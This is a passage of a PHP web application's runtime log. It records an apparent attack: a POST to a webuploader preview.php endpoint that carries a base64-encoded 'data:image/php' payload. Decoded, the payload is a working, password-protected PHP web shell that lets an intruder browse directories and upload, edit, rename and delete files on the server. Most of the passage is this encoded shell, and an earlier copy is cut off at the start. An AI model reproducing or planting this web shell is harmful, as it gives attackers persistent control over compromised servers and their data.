oaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:26+08:00 ] 119.42.146.234 POST 59.110.137.245/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002919s] [吞吐率:342.59req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugins', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmF